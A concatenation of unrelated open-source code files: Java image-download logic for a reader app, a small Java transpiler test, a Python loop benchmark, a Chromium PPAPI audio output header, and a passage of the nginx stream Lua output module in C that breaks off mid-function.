public void markPageAsRead(int pageNumber) {
readPageNumbers.add(pageNumber);
}
public synchronized void setCurrentPage(int pageIndex, int direction) {
if (viewerImagesInternal.size() <= pageIndex) return;
List<Integer> indexesToLoad = new ArrayList<>();
int increment = (direction > 0) ? 1 : -1;
if (isPictureDownloadable(pageIndex, viewerImagesInternal)) indexesToLoad.add(pageIndex);
if (isPictureDownloadable(pageIndex + increment, viewerImagesInternal))
indexesToLoad.add(pageIndex + increment);
if (isPictureDownloadable(pageIndex + 2 * increment, viewerImagesInternal))
indexesToLoad.add(pageIndex + 2 * increment);
if (indexesToLoad.isEmpty()) return;
File cachePicFolder = FileHelper.getOrCreateCacheFolder(getApplication(), Consts.PICTURE_CACHE_FOLDER);
if (cachePicFolder != null) {
for (int index : indexesToLoad) {
if (downloadsInProgress.contains(index)) continue;
downloadsInProgress.add(index);
// Adjust the current queue
while (downloadsQueue.size() >= CONCURRENT_DOWNLOADS) {
AtomicBoolean stopDownload = downloadsQueue.poll();
if (stopDownload != null) stopDownload.set(true);
Timber.d("Aborting a download");
}
// Schedule a new download
AtomicBoolean stopDownload = new AtomicBoolean(false);
downloadsQueue.add(stopDownload);
imageDownloadDisposable.add(
Single.fromCallable(() -> downloadPic(index, cachePicFolder, stopDownload))
.subscribeOn(Schedulers.io())
.observeOn(Schedulers.computation())
.subscribe(
resultOpt -> {
if (resultOpt.isEmpty()) { // Nothing to download
Timber.d("NO IMAGE FOUND AT INDEX %d", index);
downloadsInProgress.remove(index);
notifyDownloadProgress(-1, index);
return;
}
int downloadedPageIndex = resultOpt.get().left;
synchronized (viewerImagesInternal) {
if (viewerImagesInternal.size() <= downloadedPageIndex)
return;
// Instanciate a new ImageFile not to modify the one used by the UI
ImageFile downloadedPic = new ImageFile(viewerImagesInternal.get(downloadedPageIndex));
downloadedPic.setFileUri(resultOpt.get().middle);
downloadedPic.setMimeType(resultOpt.get().right);
viewerImagesInternal.remove(downloadedPageIndex);
viewerImagesInternal.add(downloadedPageIndex, downloadedPic);
Timber.d("REPLACING INDEX %d - ORDER %d -> %s", downloadedPageIndex, downloadedPic.getOrder(), downloadedPic.getFileUri());
// Instanciate a new list to trigger an actual Adapter UI refresh
viewerImages.postValue(new ArrayList<>(viewerImagesInternal));
imageLocations.put(downloadedPic.getOrder(), downloadedPic.getFileUri());
}
},
Timber::w
)
);
}
}
}
/**
* Indicate if the given page index is a downloadable picture in the given list
*
* @param pageIndex Index to test
* @param images List of pictures to test against
* @return True if the given index is a downloadable picture; false if not
*/
private boolean isPictureDownloadable(int pageIndex, @NonNull List<ImageFile> images) {
return pageIndex > -1
&& images.size() > pageIndex
&& images.get(pageIndex).getStatus().equals(StatusContent.ONLINE)
&& images.get(pageIndex).getFileUri().isEmpty();
}
/**
* Download the picture at the given index to the given folder
*
* @param pageIndex Index of the picture to download
* @param targetFolder Folder to download to
* @param stopDownload Switch to interrupt the download
* @return Optional triple with
* - The page index
* - The Uri of the downloaded file
* - The Mime-type of the downloaded file
* <p>
* The return value is empty if the download fails
*/
private Optional<ImmutableTriple<Integer, String, String>> downloadPic(
int pageIndex,
@NonNull File targetFolder,
@NonNull final AtomicBoolean stopDownload) {
Helper.assertNonUiThread();
Content content = getContent().getValue();
if (null == content || viewerImagesInternal.size() <= pageIndex) return Optional.empty();
ImageFile img = viewerImagesInternal.get(pageIndex);
// Already downloaded
if (!img.getFileUri().isEmpty())
return Optional.of(new ImmutableTriple<>(pageIndex, img.getFileUri(), img.getMimeType()));
// Initiate download
try {
final String targetFileName = content.getId() + "." + pageIndex;
File[] existing = targetFolder.listFiles((dir, name) -> name.equalsIgnoreCase(targetFileName));
String mimeType = ImageHelper.MIME_IMAGE_GENERIC;
if (existing != null) {
File targetFile;
// No cached image -> fetch online
if (0 == existing.length) {
// Prepare request headers
List<Pair<String, String>> headers = new ArrayList<>();
headers.add(new Pair<>(HttpHelper.HEADER_REFERER_KEY, content.getReaderUrl())); // Useful for Hitomi and Toonily
ImmutablePair<File, String> result;
if (img.needsPageParsing()) {
// Get cookies from the app jar
String cookieStr = HttpHelper.getCookies(img.getPageUrl());
// If nothing found, peek from the site
if (cookieStr.isEmpty())
cookieStr = HttpHelper.peekCookies(img.getPageUrl());
if (!cookieStr.isEmpty())
headers.add(new Pair<>(HttpHelper.HEADER_COOKIE_KEY, cookieStr));
result = downloadPictureFromPage(content, img, pageIndex, headers, targetFolder, targetFileName, stopDownload);
} else {
// Get cookies from the app jar
String cookieStr = HttpHelper.getCookies(img.getUrl());
// If nothing found, peek from the site
if (cookieStr.isEmpty())
cookieStr = HttpHelper.peekCookies(content.getGalleryUrl());
if (!cookieStr.isEmpty())
headers.add(new Pair<>(HttpHelper.HEADER_COOKIE_KEY, cookieStr));
result = downloadPictureToCachedFile(content, img, pageIndex, headers, targetFolder, targetFileName, stopDownload);
}
targetFile = result.left;
mimeType = result.right;
} else { // Image is already there
targetFile = existing[0];
Timber.d("PIC %d FOUND AT %s (%.2f KB)", pageIndex, targetFile.getAbsolutePath(), targetFile.length() / 1024.0);
}
return Optional.of(new ImmutableTriple<>(pageIndex, Uri.fromFile(targetFile).toString(), mimeType));
}
} catch (DownloadInterruptedException ie) {
Timber.d("Download interrupted for pic %d", pageIndex);
} catch (Exception e) {
Timber.w(e);
}
return Optional.empty();
}
// TODO doc
private ImmutablePair<File, String> downloadPictureFromPage(@NonNull Content content,
@NonNull ImageFile img,
int pageIndex,
List<Pair<String, String>> requestHeaders,
@NonNull File targetFolder,
@NonNull String targetFileName,
@NonNull final AtomicBoolean stopDownload) throws
UnsupportedContentException, IOException, LimitReachedException, EmptyResultException, DownloadInterruptedException {
Site site = content.getSite();
String pageUrl = HttpHelper.fixUrl(img.getPageUrl(), site.getUrl());
ImageListParser parser = ContentParserFactory.getInstance().getImageListParser(content.getSite());
ImmutablePair<String, Optional<String>> pages = parser.parseImagePage(pageUrl, requestHeaders);
img.setUrl(pages.left);
// Download the picture
try {
return downloadPictureToCachedFile(content, img, pageIndex, requestHeaders, targetFolder, targetFileName, stopDownload);
} catch (IOException e) {
if (pages.right.isPresent()) Timber.d("First download failed; trying backup URL");
else throw e;
}
// Trying with backup URL
img.setUrl(pages.right.get());
return downloadPictureToCachedFile(content, img, pageIndex, requestHeaders, targetFolder, targetFileName, stopDownload);
}
// TODO doc
private ImmutablePair<File, String> downloadPictureToCachedFile(
@NonNull Content content,
@NonNull ImageFile img,
int pageIndex,
List<Pair<String, String>> requestHeaders,
@NonNull File targetFolder,
@NonNull String targetFileName,
@NonNull final AtomicBoolean interruptDownload) throws IOException, UnsupportedContentException, DownloadInterruptedException {
if (interruptDownload.get()) throw new DownloadInterruptedException("Download interrupted");
Site site = content.getSite();
Timber.d("DOWNLOADING PIC %d %s", pageIndex, img.getUrl());
Response response = HttpHelper.getOnlineResourceFast(img.getUrl(), requestHeaders, site.useMobileAgent(), site.useHentoidAgent(), site.useWebviewAgent());
Timber.d("DOWNLOADING PIC %d - RESPONSE %s", pageIndex, response.code());
if (response.code() >= 300) throw new IOException("Network error " + response.code());
ResponseBody body = response.body();
if (null == body)
throw new IOException("Could not read response : empty body for " + img.getUrl());
long size = body.contentLength();
// TODO if size can't be found (e.g. content-length header not set), guess it by looking at the size of the other downloaded pics
if (size < 1) size = 1;
File targetFile = new File(targetFolder.getAbsolutePath() + File.separator + targetFileName);
String mimeType = "";
if (!targetFile.createNewFile())
throw new IOException("Could not create file " + targetFile.getPath());
Timber.d("WRITING DOWNLOADED PIC %d TO %s (size %.2f KB)", pageIndex, targetFile.getAbsolutePath(), size / 1024.0);
byte[] buffer = new byte[4196];
int len;
long processed = 0;
int iteration = 0;
try (InputStream in = body.byteStream(); OutputStream out = FileHelper.getOutputStream(targetFile)) {
while ((len = in.read(buffer)) > -1) {
if (interruptDownload.get()) break;
processed += len;
// Read mime-type on the fly
if (0 == iteration) {
mimeType = ImageHelper.getMimeTypeFromPictureBinary(buffer);
if (mimeType.isEmpty() || mimeType.equals(ImageHelper.MIME_IMAGE_GENERIC)) {
String message = String.format(Locale.ENGLISH, "Invalid mime-type received from %s (size=%.2f)", img.getUrl(), size / 1024.0);
throw new UnsupportedContentException(message);
}
}
if (0 == ++iteration % 50) // Notify every 200KB
notifyDownloadProgress((processed * 100f) / size, pageIndex);
out.write(buffer, 0, len);
}
if (!interruptDownload.get()) {
notifyDownloadProgress(100, pageIndex);
out.flush();
Timber.d("DOWNLOADED PIC %d [%s] WRITTEN TO %s (%.2f KB)", pageIndex, mimeType, targetFile.getAbsolutePath(), targetFile.length() / 1024.0);
return new ImmutablePair<>(targetFile, mimeType);
}
}
// Remove the remaining file chunk if download has been interrupted
FileHelper.removeFile(targetFile);
throw new DownloadInterruptedException("Download interrupted");
}
/**
* Send the current book to the queue to be reparsed from scratch
*
* @param onError Consumer to call in case reparsing fails
*/
public void reparseBook(Consumer<Throwable> onError) {
Content theContent = content.getValue();
if (null == theContent) return;
compositeDisposable.add(
Observable.fromIterable(Stream.of(theContent).toList())
.observeOn(Schedulers.io())
.map(ContentHelper::reparseFromScratch)
.doOnNext(c -> {
if (c.isEmpty()) throw new EmptyResultException();
dao.addContentToQueue(
c.get(), StatusContent.SAVED, ContentHelper.QueuePosition.TOP,
ContentQueueManager.getInstance().isQueueActive());
})
.observeOn(AndroidSchedulers.mainThread())
.doOnComplete(() -> {
if (Preferences.isQueueAutostart())
ContentQueueManager.getInstance().resumeQueue(getApplication());
})
.subscribe(
v -> { // Nothing; feedback is done through LiveData
},
onError::accept
)
);
}
/**
* Notify the download progress of the given page
*
* @param progressPc % progress to display
* @param pageIndex Index of downloaded page
*/
private void notifyDownloadProgress(float progressPc, int pageIndex) {
notificationDisposables.add(Completable.fromRunnable(() -> doNotifyDownloadProgress(progressPc, pageIndex))
.subscribeOn(Schedulers.computation())
.subscribe()
);
}
/**
* Notify the download progress of the given page
*
* @param progressPc % progress to display
* @param pageIndex Index of downloaded page
*/
private void doNotifyDownloadProgress(float progressPc, int pageIndex) {
int progress = (int) Math.floor(progressPc);
if (progress < 0) { // Error
EventBus.getDefault().post(new ProcessEvent(ProcessEvent.EventType.FAILURE, R.id.page_download, pageIndex, 0, 100, 100));
} else if (progress < 100) {
EventBus.getDefault().post(new ProcessEvent(ProcessEvent.EventType.PROGRESS, R.id.page_download, pageIndex, progress, 0, 100));
} else {
EventBus.getDefault().post(new ProcessEvent(ProcessEvent.EventType.COMPLETE, R.id.page_download, pageIndex, progress, 0, 100));
}
}
}
| 24,470 |
1,374 | <filename>transpiler/src/test/java/source/structural/InnerClassFieldClash.java
package source.structural;
public class InnerClassFieldClash {
public static void main() {
new InnerClassFieldClash().setup();
}
int a = 0;
void setup() {
new B().f();
}
class B {
int a = 1;
void f() {
assert a == 1;
}
}
}
| 129 |
4,268 | def test():
i = 0
while i < 1e5:
arr = []
j = 0
while j < 10:
arr.append('foo'); arr.append('bar')
arr.append('foo'); arr.append('bar')
arr.append('foo'); arr.append('bar')
arr.append('foo'); arr.append('bar')
arr.append('foo'); arr.append('bar')
j += 1
i += 1
test()
| 207 |
14,668 | <reponame>zealoussnow/chromium<filename>ppapi/c/dev/ppb_audio_output_dev.h<gh_stars>1000+
/* Copyright (c) 2017 The Chromium Authors. All rights reserved.
* Use of this source code is governed by a BSD-style license that can be
* found in the LICENSE file.
*/
/* From dev/ppb_audio_output_dev.idl modified Fri Apr 7 07:07:59 2017. */
#ifndef PPAPI_C_DEV_PPB_AUDIO_OUTPUT_DEV_H_
#define PPAPI_C_DEV_PPB_AUDIO_OUTPUT_DEV_H_
#include "ppapi/c/dev/ppb_device_ref_dev.h"
#include "ppapi/c/pp_array_output.h"
#include "ppapi/c/pp_bool.h"
#include "ppapi/c/pp_completion_callback.h"
#include "ppapi/c/pp_instance.h"
#include "ppapi/c/pp_macros.h"
#include "ppapi/c/pp_resource.h"
#include "ppapi/c/pp_stdint.h"
#include "ppapi/c/pp_time.h"
#define PPB_AUDIO_OUTPUT_DEV_INTERFACE_0_1 "PPB_AudioOutput(Dev);0.1"
#define PPB_AUDIO_OUTPUT_DEV_INTERFACE PPB_AUDIO_OUTPUT_DEV_INTERFACE_0_1
/**
* @file
* This file defines the <code>PPB_AudioOutput_dev</code> interface, which
* provides realtime stereo audio streaming capabilities.
*/
/**
* @addtogroup Typedefs
* @{
*/
/**
* <code>PPB_AudioOutput_Callback</code> defines the type of an audio callback
* function used to fill the audio buffer with data. Please see the
* Create() function in the <code>PPB_AudioOutput</code> interface for
* more details on this callback.
*
* @param[out] sample_buffer A buffer to fill with audio data.
* @param[in] buffer_size_in_bytes The size of the buffer in bytes.
* @param[in] latency How long before the audio data is to be presented.
* @param[inout] user_data An opaque pointer that was passed into
* <code>PPB_AudioOutput.Create()</code>.
*/
typedef void (*PPB_AudioOutput_Callback)(void* sample_buffer,
uint32_t buffer_size_in_bytes,
PP_TimeDelta latency,
void* user_data);
/**
* @}
*/
/**
* @addtogroup Interfaces
* @{
*/
/**
* The <code>PPB_AudioOutput</code> interface contains pointers to several
* functions for handling audio resources.
* Please see descriptions for each <code>PPB_AudioOutput</code> and
* <code>PPB_AudioConfig</code> function for more details. A C example using
* <code>PPB_AudioOutput</code> and <code>PPB_AudioConfig</code> follows.
*
* <strong>Example: </strong>
*
* @code
* void audio_output_callback(void* sample_buffer,
* uint32_t buffer_size_in_bytes,
* PP_TimeDelta latency,
* void* user_data) {
* ... quickly fill in the buffer with samples and return to caller ...
* }
*
* ...Assume the application has cached the audio configuration interface in
* audio_config_interface and the audio interface in
* audio_output_interface...
*
* uint32_t count = audio_config_interface->RecommendSampleFrameCount(
* PP_AUDIOSAMPLERATE_44100, 4096);
* PP_Resource pp_audio_config = audio_config_interface->CreateStereo16Bit(
* pp_instance, PP_AUDIOSAMPLERATE_44100, count);
* PP_Resource pp_audio_output = audio_interface->Create(pp_instance,
* pp_audio_config, audio_callback, NULL);
* audio_interface->EnumerateDevices(pp_audio_output, output_device_list,
* callback);
* audio_interface->Open(pp_audio_output, device_ref, pp_audio_config,
* audio_output_callback, user_data, callback);
* audio_output_interface->StartPlayback(pp_audio_output);
*
* ...audio_output_callback() will now be periodically invoked on a separate
* thread...
* @endcode
*/
struct PPB_AudioOutput_Dev_0_1 {
/**
* Creates an audio output resource.
*
* @param[in] instance A <code>PP_Instance</code> identifying one instance of
* a module.
*
* @return A <code>PP_Resource</code> corresponding to an audio output
resource
* if successful, 0 if failed.
*/
PP_Resource (*Create)(PP_Instance instance);
/**
* Determines if the given resource is an audio output resource.
*
* @param[in] resource A <code>PP_Resource</code> containing a resource.
*
* @return A <code>PP_Bool</code> containing <code>PP_TRUE</code> if the given
* resource is an audio output resource, otherwise <code>PP_FALSE</code>.
*/
PP_Bool (*IsAudioOutput)(PP_Resource resource);
/**
* Enumerates audio output devices.
*
* @param[in] audio_output A <code>PP_Resource</code> corresponding to an
audio
* output resource.
* @param[in] output An output array which will receive
* <code>PPB_DeviceRef_Dev</code> resources on success. Please note that the
* ref count of those resources has already been increased by 1 for the
* caller.
* @param[in] callback A <code>PP_CompletionCallback</code> to run on
* completion.
*
* @return An error code from <code>pp_errors.h</code>.
*/
int32_t (*EnumerateDevices)(PP_Resource audio_output,
struct PP_ArrayOutput output,
struct PP_CompletionCallback callback);
/**
* Requests device change notifications.
*
* @param[in] audio_output A <code>PP_Resource</code> corresponding to an
audio
* output resource.
* @param[in] callback The callback to receive notifications. If not NULL, it
* will be called once for the currently available devices, and then every
* time the list of available devices changes. All calls will happen on the
* same thread as the one on which MonitorDeviceChange() is called. It will
* receive notifications until <code>audio_output</code> is destroyed or
* <code>MonitorDeviceChange()</code> is called to set a new callback for
* <code>audio_output</code>. You can pass NULL to cancel sending
* notifications.
* @param[inout] user_data An opaque pointer that will be passed to
* <code>callback</code>.
*
* @return An error code from <code>pp_errors.h</code>.
*/
int32_t (*MonitorDeviceChange)(PP_Resource audio_output,
PP_MonitorDeviceChangeCallback callback,
void* user_data);
/**
* Open() opens an audio output device. No sound will be heard until
* StartPlayback() is called. The callback is called with the buffer address
* and given user data whenever the buffer needs to be filled. From within the
* callback, you should not call <code>PPB_AudioOutput</code> functions. The
* callback will be called on a different thread than the one which created
* the interface. For performance-critical applications (i.e. low-latency
* audio), the callback should avoid blocking or calling functions that can
* obtain locks, such as malloc. The layout and the size of the buffer passed
* to the audio callback will be determined by the device configuration and is
* specified in the <code>AudioConfig</code> documentation.
*
* @param[in] audio_output A <code>PP_Resource</code> corresponding to an
audio
* output resource.
* @param[in] device_ref Identifies an audio output device. It could be one of
* the resource in the array returned by EnumerateDevices(), or 0 which means
* the default device.
* @param[in] config A <code>PPB_AudioConfig</code> audio configuration
* resource.
* @param[in] audio_output_callback A <code>PPB_AudioOutput_Callback</code>
* function that will be called when audio buffer needs to be filled.
* @param[inout] user_data An opaque pointer that will be passed into
* <code>audio_output_callback</code>.
* @param[in] callback A <code>PP_CompletionCallback</code> to run when this
* open operation is completed.
*
* @return An error code from <code>pp_errors.h</code>.
*/
int32_t (*Open)(PP_Resource audio_output,
PP_Resource device_ref,
PP_Resource config,
PPB_AudioOutput_Callback audio_output_callback,
void* user_data,
struct PP_CompletionCallback callback);
/**
* GetCurrrentConfig() returns an audio config resource for the given audio
* output resource.
*
* @param[in] config A <code>PP_Resource</code> corresponding to an audio
* output resource.
*
* @return A <code>PP_Resource</code> containing the audio config resource if
* successful.
*/
PP_Resource (*GetCurrentConfig)(PP_Resource audio_output);
/**
* StartPlayback() starts the playback of the audio output resource and begins
* periodically calling the callback.
*
* @param[in] config A <code>PP_Resource</code> corresponding to an audio
* output resource.
*
* @return A <code>PP_Bool</code> containing <code>PP_TRUE</code> if
* successful, otherwise <code>PP_FALSE</code>. Also returns
* <code>PP_TRUE</code> (and be a no-op) if called while playback is already
* in progress.
*/
PP_Bool (*StartPlayback)(PP_Resource audio_output);
/**
* StopPlayback() stops the playback of the audio resource.
*
* @param[in] config A <code>PP_Resource</code> corresponding to an audio
* output resource.
*
* @return A <code>PP_Bool</code> containing <code>PP_TRUE</code> if
* successful, otherwise <code>PP_FALSE</code>. Also returns
* <code>PP_TRUE</code> (and is a no-op) if called while playback is already
* stopped. If a callback is in progress, StopPlayback() will block until the
* callback completes.
*/
PP_Bool (*StopPlayback)(PP_Resource audio_output);
/**
* Close() closes the audio output device,
and stops playback if necessary. It is
* not valid to call Open() again after a call to this method.
* If an audio output resource is destroyed while a device is still open, then
* it will be implicitly closed, so you are not required to call this method.
*
* @param[in] audio_output A <code>PP_Resource</code> corresponding to an
audio
* output resource.
*/
void (*Close)(PP_Resource audio_output);
};
typedef struct PPB_AudioOutput_Dev_0_1 PPB_AudioOutput_Dev;
/**
* @}
*/
#endif /* PPAPI_C_DEV_PPB_AUDIO_OUTPUT_DEV_H_ */
| 3,524 |
676 | <reponame>steamboatid/nginx
/*
* !!! DO NOT EDIT DIRECTLY !!!
* This file was automatically generated from the following template:
*
* src/subsys/ngx_subsys_lua_output.c.tt2
*/
#ifndef DDEBUG
#define DDEBUG 0
#endif
#include "ddebug.h"
#include "ngx_stream_lua_output.h"
#include "ngx_stream_lua_util.h"
#include "ngx_stream_lua_contentby.h"
#include <math.h>
static int ngx_stream_lua_ngx_say(lua_State *L);
static int ngx_stream_lua_ngx_print(lua_State *L);
static int ngx_stream_lua_ngx_flush(lua_State *L);
static int ngx_stream_lua_ngx_eof(lua_State *L);
static int ngx_stream_lua_ngx_echo(lua_State *L, unsigned newline);
static void ngx_stream_lua_flush_cleanup(void *data);
static int
ngx_stream_lua_ngx_print(lua_State *L)
{
dd("calling lua print");
return ngx_stream_lua_ngx_echo(L, 0);
}
static int
ngx_stream_lua_ngx_say(lua_State *L)
{
dd("calling");
return ngx_stream_lua_ngx_echo(L, 1);
}
static int
ngx_stream_lua_ngx_echo(lua_State *L, unsigned newline)
{
ngx_stream_lua_request_t *r;
ngx_stream_lua_ctx_t *ctx;
const char *p;
size_t len;
size_t size;
ngx_buf_t *b;
ngx_chain_t *cl;
ngx_int_t rc;
int i;
int nargs;
int type;
const char *msg;
r = ngx_stream_lua_get_req(L);
if (r == NULL) {
return luaL_error(L, "no request object found");
}
ctx = ngx_stream_lua_get_module_ctx(r, ngx_stream_lua_module);
if (ctx == NULL) {
return luaL_error(L, "no request ctx found");
}
if (r->connection->type == SOCK_DGRAM) {
return luaL_error(L, "API disabled in the current context");
}
ngx_stream_lua_check_context(L, ctx, NGX_STREAM_LUA_CONTEXT_CONTENT
| NGX_STREAM_LUA_CONTEXT_PREREAD);
if (ctx->eof) {
lua_pushnil(L);
lua_pushliteral(L, "seen eof");
return 2;
}
nargs = lua_gettop(L);
size = 0;
for (i = 1; i <= nargs; i++) {
type = lua_type(L, i);
switch (type) {
case LUA_TNUMBER:
case LUA_TSTRING:
lua_tolstring(L, i, &len);
size += len;
break;
case LUA_TNIL:
size += sizeof("nil") - 1;
break;
case LUA_TBOOLEAN:
if (lua_toboolean(L, i)) {
size += sizeof("true") - 1;
} else {
size += sizeof("false") - 1;
}
break;
case LUA_TTABLE:
size += ngx_stream_lua_calc_strlen_in_table(L, i, i,
0 /* strict */);
break;
case LUA_TLIGHTUSERDATA:
dd("userdata: %p", lua_touserdata(L, i));
if (lua_touserdata(L, i) == NULL) {
size += sizeof("null") - 1;
break;
}
continue;
default:
msg = lua_pushfstring(L, "string, number, boolean, nil, "
"ngx.null, or array table expected, "
"but got %s", lua_typename(L, type));
return luaL_argerror(L, i, msg);
}
}
if (newline) {
size += sizeof("\n") - 1;
}
if (size == 0) {
lua_pushinteger(L, 1);
return 1;
}
ctx->seen_body_data = 1;
cl = ngx_stream_lua_chain_get_free_buf(r->connection->log, r->pool,
&ctx->free_bufs, size);
if (cl == NULL) {
return luaL_error(L, "no memory");
}
b = cl->buf;
for (i = 1; i <= nargs; i++) {
type = lua_type(L, i);
switch (type) {
case LUA_TNUMBER:
case LUA_TSTRING:
p = lua_tolstring(L, i, &len);
b->last = ngx_copy(b->last, (u_char *) p, len);
break;
case LUA_TNIL:
*b->last++ = 'n';
*b->last++ = 'i';
*b->last++ = 'l';
break;
case LUA_TBOOLEAN:
if (lua_toboolean(L, i)) {
*b->last++ = 't';
*b->last++ = 'r';
*b->last++ = 'u';
*b->last++ = 'e';
} else {
*b->last++ = 'f';
*b->last++ = 'a';
*b->last++ = 'l';
*b->last++ = 's';
*b->last++ = 'e';
}
break;
case LUA_TTABLE:
b->last = ngx_stream_lua_copy_str_in_table(L, i, b->last);
break;
case LUA_TLIGHTUSERDATA:
*b->last++ = 'n';
*b->last++ = 'u';
*b->last++ = 'l';
*b->last++ = 'l';
break;
default:
return luaL_error(L, "impossible to reach here");
}
}
if (newline) {
*b->last++ = '\n';
}
#if 0
if (b->last != b->end) {
return luaL_error(L, "buffer error: %p != %p", b->last, b->end);
}
#endif
ngx_log_debug0(NGX_LOG_DEBUG_STREAM, r->connection->log, 0,
newline ? "lua say response" : "lua print response");
rc = ngx_stream_lua_send_chain_link(r, ctx, cl);
if (rc == NGX_ERROR) {
lua_pushnil(L);
lua_pushliteral(L, "nginx output filter error");
return 2;
}
dd("downstream write: %d, buf len: %d", (int) rc,
(int) (b->last - b->pos));
lua_pushinteger(L, 1);
return 1;
}
size_t
ngx_stream_lua_calc_strlen_in_table(lua_State *L, int index, int arg_i,
unsigned strict)
{
double key;
int max;
int i;
int type;
size_t size;
size_t len;
const char *msg;
if (index < 0) {
index = lua_gettop(L) + index + 1;
}
dd("table index: %d", index);
max = 0;
lua_pushnil(L); /* stack: table key */
while (lua_next(L, index) != 0) { /* stack: table key value */
dd("key type: %s", luaL_typename(L, -2));
if (lua_type(L, -2) == LUA_TNUMBER) {
key = lua_tonumber(L, -2);
dd("key value: %d", (int) key);
if (floor(key) == key && key >= 1) {
if (key > max) {
max = (int) key;
}
lua_pop(L, 1); /* stack: table key */
continue;
}
}
/* not an array (non positive integer key) */
lua_pop(L, 2); /* stack: table */
luaL_argerror(L, arg_i, "non-array table found");
return 0;
}
size = 0;
for (i = 1; i <= max; i++) {
lua_rawgeti(L, index, i); /* stack: table value */
type = lua_type(L, -1);
switch (type) {
case LUA_TNUMBER:
case LUA_TSTRING:
lua_tolstring(L, -1, &len);
size += len;
break;
case LUA_TNIL:
if (strict) {
goto bad_type;
}
size += sizeof("nil") - 1;
break;
case LUA_TBOOLEAN:
if (strict) {
goto bad_type;
}
if (lua_toboolean(L, -1)) {
size += sizeof("true") - 1;
} else {
size += sizeof("false") - 1;
}
break;
case LUA_TTABLE:
size += ngx_stream_lua_calc_strlen_in_table(L, -1, arg_i,
strict);
break;
case LUA_TLIGHTUSERDATA:
if (strict) {
goto bad_type;
}
if (lua_touserdata(L, -1) == NULL) {
size += sizeof("null") - 1;
break;
}
continue;
default:
bad_type:
msg = lua_pushfstring(L, "bad data type %s found",
lua_typename(L, type));
return luaL_argerror(L, arg_i, msg);
}
lua_pop(L, 1); /* stack: table */
}
return size;
}
u_char *
ngx_stream_lua_copy_str_in_table(lua_State *L, int index, u_char *dst)
{
double key;
int max;
int i;
int type;
size_t len;
u_char *p;
if (index < 0) {
index = lua_gettop(L) + index + 1;
}
max = 0;
lua_pushnil(L); /* stack: table key */
while (lua_next(L, index) != 0) { /* stack: table key value */
key = lua_tonumber(L, -2);
if (key > max) {
max = (int) key;
}
lua_pop(L, 1); /* stack: table key */
}
for (i = 1; i <= max; i++) {
lua_rawgeti(L, index, i); /* stack: table value */
type = lua_type(L, -1);
switch (type) {
case LUA_TNUMBER:
case LUA_TSTRING:
p = (u_char *) lua_tolstring(L, -1, &len);
dst = ngx_copy(dst, p, len);
break;
case LUA_TNIL:
*dst++ = 'n';
*dst++ = 'i';
*dst++ = 'l';
break;
case LUA_TBOOLEAN:
if (lua_toboolean(L, -1)) {
*dst++ = 't';
*dst++ = 'r';
*dst++ = 'u';
*dst++ = 'e';
} else {
*dst++ = 'f';
*dst++ = 'a';
*dst++ = 'l';
*dst++ = 's';
*dst++ = 'e';
}
break;
case LUA_TTABLE:
dst = ngx_stream_lua_copy_str_in_table(L, -1, dst);
break;
case LUA_TLIGHTUSERDATA:
*dst++ = 'n';
*dst++ = 'u';
*dst++ = 'l';
*dst++ = 'l';
break;
default:
luaL_error(L, "impossible to reach here");
return NULL;
}
lua_pop(L, 1); /* stack: table */
}
return dst;
}
/**
* Force flush out response content
* */
static int
ngx_stream_lua_ngx_flush(lua_State *L)
{
ngx_stream_lua_request_t *r;
ngx_stream_lua_ctx_t *ctx;
ngx_chain_t *cl;
ngx_int_t rc;
int n;
unsigned wait = 0;
ngx_event_t *wev;
ngx_stream_lua_srv_conf_t *cllscf;
ngx_stream_lua_co_ctx_t *coctx;
n = lua_gettop(L);
if (n > 1) {
return luaL_error(L, "attempt to pass %d arguments, but accepted 0 "
"or 1", n);
}
r = ngx_stream_lua_get_req(L);
if (n == 1) {
luaL_checktype(L, 1, LUA_TBOOLEAN);
wait = lua_toboolean(L, 1);
}
ctx = ngx_stream_lua_get_module_ctx(r, ngx_stream_lua_module);
if (ctx == NULL) {
return luaL_error(L, "no request ctx found");
}
if (r->connection->type == SOCK_DGRAM) {
return luaL_error(L, "API disabled in the current context");
}
ngx_stream_lua_check_context(L, ctx, NGX_STREAM_LUA_CONTEXT_CONTENT
| NGX_STREAM_LUA_CONTEXT_PREREAD);
coctx = ctx->cur_co_ctx;
if (coctx == NULL) {
return luaL_error(L, "no co ctx found");
}
if (ctx->eof) {
lua_pushnil(L);
lua_pushliteral(L, "seen eof");
return 2;
}
cl = ngx_stream_lua_get_flush_chain(r, ctx);
if (cl == NULL) {
return luaL_error(L, "no memory");
}
rc = ngx_stream_lua_send_chain_link(r, ctx, cl);
dd("send chain: %d", (int) rc);
if (rc == NGX_ERROR) {
lua_pushnil(L);
lua_pushliteral(L, "nginx output filter error");
return 2;
}
dd("wait:%d, rc:%d, buffered:0x%x", wait, (int) rc,
r->connection->buffered);
wev = r->connection->write;
if (wait && (r->connection->buffered || wev->delayed))
{
ngx_log_debug2(NGX_LOG_DEBUG_STREAM, r->connection->log, 0,
"lua flush requires waiting: buffered 0x%uxd, "
"delayed:%d", (unsigned) r->connection->buffered,
wev->delayed);
coctx->flushing = 1;
ctx->flushing_coros++;
if (ctx->entered_content_phase) {
/* mimic ngx_http_set_write_handler */
r->write_event_handler = ngx_stream_lua_content_wev_handler;
} else {
r->write_event_handler = ngx_stream_lua_core_run_phases;
}
cllscf = ngx_stream_lua_get_module_srv_conf(r, ngx_stream_lua_module);
if (!wev->delayed) {
ngx_add_timer(wev, cllscf->send_timeout);
}
if (ngx_handle_write_event(wev, cllscf->send_lowat) != NGX_OK) {
if (wev->timer_set) {
wev->delayed = 0;
ngx_del_timer(wev);
}
lua_pushnil(L);
lua_pushliteral(L, "connection broken");
return 2;
}
ngx_stream_lua_cleanup_pending_operation(ctx->cur_co_ctx);
coctx->cleanup = ngx_stream_lua_flush_cleanup;
coctx->data = r;
return lua_yield(L, 0);
}
ngx_log_debug0(NGX_LOG_DEBUG_STREAM, r->connection->log, 0,
"lua flush asynchronously");
lua_pushinteger(L, 1);
return 1;
}
/**
* Send last_buf, terminate output stream
* */
static int
ngx_stream_lua_ngx_eof(lua_State *L)
{
ngx_stream_lua_request_t *r;
ngx_stream_lua_ctx_t *ctx;
ngx_int_t rc;
r = ngx_stream_lua_get_req(L);
if (r == NULL) {
return luaL_error(L, "no request object found");
}
if (lua_gettop(L) != 0) {
return luaL_error(L, "no argument is expected");
}
ctx = ngx_stream_lua_get_module_ctx(r, ngx_stream_lua_module);
if (ctx == NULL) {
return luaL_error(L, "no ctx found");
}
if (ctx->eof) {
lua_pushnil(L);
lua_pushliteral(L, "seen eof");
return 2;
}
if (r->connection->type == SOCK_DGRAM) {
